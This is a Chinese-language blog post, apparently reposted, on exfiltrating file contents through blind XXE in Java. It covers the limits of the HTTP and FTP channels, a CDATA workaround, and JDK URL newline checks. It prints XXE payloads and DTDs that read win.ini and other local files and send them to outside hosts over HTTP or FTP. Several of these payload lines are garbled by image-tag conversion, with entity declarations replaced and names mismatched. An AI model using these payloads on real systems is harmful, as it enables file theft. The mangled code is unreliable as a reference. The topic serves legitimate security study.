一般而言,在Java里碰到XXE,如果是有回显的,那自然很好办,如果是没有回显,那就需要我们构造通道来把数据带出,过去在XXE利用中,如果单纯使用HTTP协议(除了作为结尾的CRLF外,不允许出现单独的CR或LF字符),是无法读取具有换行的文件的。
比如常用作验证的win.ini文件就有换行
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2F518521a50f1043bc83d8e4aa88646690~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-EhNJblTB-1705662714293%29)
如果想把该文件传送出去,将会报错 Illegal character in URL
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2Fc86df7db0f884044b100f4004e92e0c3~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-1HaGOg75-1705662714374%29)
在rt.jar<img src="http\HttpClient.class
中的420行,存在对换行的判" style=“margin: auto” />
if (var1.indexOf(10) == -1) {return var1;
} else {throw new MalformedURLException("Illegal character in URL");
}
这个时候如果是PHP环境,那很好办,给数据编码一下就可以顺利带出,比如base64
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<<img src="http://127.0.0.1/evil2.dtd"" style="margin: auto" />
%dtd;
%send;
]>
<root></root>
这样,即使文件存在Illegal character也可以带出,但是Java又没有相关编码的协议啊,这时候我们往往会利用FTP协议来向外传递数据,这些数据本身可能包含\r、\n等字符
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2Fdc06f37b58c043039c6060a2131f445b~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-k7FUvcBa-1705662714446%29)
看起来似乎很美好,问题得到了解决,但是,我们往往会碰到一些意外情况,如果文件中有下面这些字符呢
‘ “ < > &
那将会得到以下报错,实体XXX的声明必须以>结尾
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2F6f2063a778fc473d889b2ec4ace34c7a~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-khMwb0aX-1705662714498%29)
dtd文件如下:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload;
这是因为xml在解析的时候,会把实体进行替换,带有单引号的文件内容在拼接进字符串之后,单引号与send实体的单引号进行了闭合,然后后面的数据就变成了无效数据
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2F9afb0b7d55644583a806d2dbb706e491~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-utGjv72W-1705662714547%29)
如果文件中单引号后面是除了右尖括号>以外的字符,那么就会报实体XXX的声明必须以>结尾的错误
如果单引号后恰巧是右尖括号,那也不行,你后面还是有垃圾数据,顶多报错换一下
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2F1f448ed4585d438fa5aa19627dda67a5~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-h5lD2Yr2-1705662714602%29)
那这个时候还有什么办法读取这类的特殊文件呢?
xml在设计的时候就考虑到了这种情况,虽然一般情况下xml要求要使用这些符号最好是把相应字符用对应实体引用来代替,但是如果是不得不用的情况下,可以使用CDATA方法来读取。
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data),CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由<![CDATA[
开始,由]]>
结束:
让我们对payload进行一下修改:
dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">
payload
<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini">
<<img src="http://111.111.111.40:48111/cdata.dtd"" style="margin: auto" />
%asd;%c;%rrr;]>
但是其实这种方法是没办法的,因为它还是需要拼接到url里去,依旧会和外部的单引号闭合,如
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2Fd1cff28412424e6ca26a6ea67326c9ae~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image%29!%5Bimg%5D%28https%3A%2F%2Fjuejin.cn%2F&pos_id=img-tOguHdvh-1705662714676%29)
但是,CDATA方法可以用于xxe有回显的情况,也算是一种不错的方法了。
正常读取无法读取
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2F9f9e21bd32754800b9ea1f4ea9751ac4~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-eNVHEtq6-1705662714755%29)
使用CDATA方法读取,但是请注意,这种情况还是不够完美,至少对于单独的 & 符号还是没办法
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2Fc50cbc90c02542d29c28268a06b47611~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-1FJf8nCN-1705662714825%29)
除非构成了完整的实体引用格式
![](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fp3-juejin.byteimg.com%2Ftos-cn-i-k3u1fbpfcp%2Fd5bf62d47dd04b14a3ed11adce4f2a27~tplv-k3u1fbpfcp-zoom-in-crop-mark%3A4536%3A0%3A0%3A0.image&pos_id=img-OufQbUS5-1705662714917%29)
另外JDK的版本更迭对使用FTP作为信息传送通道这一个技巧有影响,这也是为什么高版本无法用FTP来读取多行文件,因为FtpURLConnection.class中的static方法checkURL里的var0.toExternalForm().indexOf(10) > -1
,此处解析URL并检查URL中是否存在换行符(ascii为10),如果存在则抛出异常
具体checkURL在哪一个版本开始检查换行,笔者没有一个一个去看,有兴趣的读者可以找找看
rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class
static URL checkURL(URL var0) throws IllegalArgumentException {
if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
throw new IllegalArgumentException(var3.getMessage(), var3);
} else {
String var1 = IPAddressUtil.checkAuthority(var0);
if (var1 != null) {
MalformedURLException var2 = new MalformedURLException(var1);
throw new IllegalArgumentException(var2.getMessage(), var2);
} else {
return var0;
}
}
}
总结
总的来说,如果是php环境,那自然是万事大吉,但是在java环境中,如果
有回显(不需要通过URL外带):
1. 普通文件 -> 直接读取回显
2. 带换行文件 -> 直接读取回显
含特殊字符文件 -> CDATA回显
3. 含特殊字符且有换行文件 -> CDATA 回显
无回显:
1. 普通文件 -> HTTP或者FTP都可以带出
带换行文件 -> FTP带出 3. 含特殊字符文件 -> 。。暂时没好的办法 4. 含特殊字符且有换行的文件 -> 。。暂时没好的办法
另外,需要注意JDK版本的影响